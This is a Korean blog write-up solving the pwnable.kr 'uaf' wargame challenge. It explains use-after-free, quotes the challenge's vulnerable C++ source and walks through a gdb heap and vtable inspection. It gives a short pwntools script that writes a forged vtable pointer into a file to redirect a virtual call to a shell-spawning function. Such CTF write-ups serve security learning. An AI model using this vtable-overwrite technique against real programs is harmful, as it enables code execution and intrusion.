uaf... Use After Free 취약점이다.
이 취약점은 malloc()이나 new로 할당받은 메모리를 해제한 후, 나중에 같은 크기만큼 할당받을 때, 같은 주소를 할당받아, 내용을 바꿀 수 있는 취약점이다.
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
해당 코드를 보면 Human이라는 Class를 new로 할당받는다.
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
그 후 입력을 받아 switch를 돌린다.
case 1:
m의 introduce()를 실행하고
w의 introduce()를 실행한다.
case 2:
argv[1]만큼 new로 할당받고, argv[2]의 파일을 열어 data에 len만큼 복사해 넣는다.
case 3:
m과 w를 해제한다.
우선 gdb에서 메모리를 보자.
heap으로 heap을 보니 vtable for Man+16이 보인다.
vtable은 cpp에서 virtual로 함수를 선언할때 생긴다. (자세한건 구글)
이 주소를 참조해 보자
주소들이 나오는데
각각 give_shell 함수와 introduce함수인 것을 볼 수 있다.
즉 vtable for Man+16값이 fd에 들어있을 때 introduce가 실행되는 것 같다.
이 값에서 8을 뺴서(64bit파일이므로) 넣어주면 give_shell()함수가 실행될 것이다.
size가 0x21이므로
argv[1] = 33, argv[2] = ./abcd로 하고 실행해 보았다.
from pwn import *
f = open('./abcd', 'w')
f.write(p64(0x0000000000401568))
f.write(p64(0x0000000000000021))
f.write(p64(0x0000000001ad3c38))
f.write(p64(0x0000000000000019))
f.close()
python을 사용해서 파일을 만들고 실행 했다.
보니 원래 들어가야 할 0x21이 아니라 0x31 에 들어간다. 0x21은 분명히 33인데... 그래서 size를 바꿔가면서 실행해보았다.
그리고 23에서 쉘이 뚫렸다.
이제 해당 코드를 pwnable서버로 옮겼다.
CLEAR
'pwnable > Toddler's Bottle' 카테고리의 다른 글
[Toddler's Bottle] blukat (0) | 2018.09.12 |
---|---|
[Toddler's Bottle] asm (0) | 2018.09.12 |
[Toddle's Bottle] cmd2 (0) | 2018.05.31 |
[Toddler's Bottle] cmd1 (0) | 2018.05.29 |
[Toddler's Bottle] lotto (0) | 2018.05.29 |